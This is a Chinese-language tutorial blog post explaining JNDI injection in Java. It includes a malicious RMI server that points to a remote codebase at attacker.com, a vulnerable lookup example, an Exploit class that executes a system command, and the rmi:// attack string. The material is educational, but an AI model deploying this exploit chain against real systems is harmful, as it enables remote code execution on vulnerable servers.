JNDI 注入原理

UWI Lv3

JNDI 注入原理

  1. JNDI 基本功能:JNDI 是 Java 提供的统一接口,用于访问各种命名和目录服务(如 LDAP、RMI、DNS 等)
  2. 漏洞根源:当应用程序动态构造 JNDI 查找地址(如 InitialContext.lookup(attackerControlledInput)),且该地址被攻击者控制时
  3. 攻击流程
    • 攻击者构造恶意 JNDI 地址(如 rmi://attacker-server/Exploit
    • 应用执行 lookup 时连接攻击者控制的服务器
    • 服务器返回恶意序列化对象或引用
    • 客户端反序列化时执行攻击代码

攻击示例(基于 RMI)

攻击者准备恶意 RMI 服务

1
2
3
4
5
6
7
8
9
10
// 攻击者服务器上的恶意代码
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://attacker.com/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", wrapper);
System.out.println("恶意RMI服务已启动");
}
}

漏洞应用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
// 存在漏洞的应用代码
public class VulnerableApp {
public static void main(String[] args) {
String jndiUrl = args[0]; // 用户可控输入
try {
Context ctx = new InitialContext();
Object obj = ctx.lookup(jndiUrl); // 危险操作!
System.out.println("Lookup: " + obj);
} catch (Exception e) {
e.printStackTrace();
}
}
}

加载的class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Exploit.java
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context ctx, Hashtable<?,?> env) {
// 攻击代码
try {
Runtime.getRuntime().exec("calc.exe"); // Windows弹计算器
// 或更危险的命令
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

攻击方式

攻击者诱使应用访问恶意 RMI 服务:

1
"rmi://attacker-server/Exploit"
  • Title: JNDI 注入原理
  • Author: UWI
  • Created at : 2025-08-13 13:42:54
  • Updated at : 2025-08-13 14:42:39
  • Link: https://nbwsws.github.io/2025/08/13/代码审计/jndi注入/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments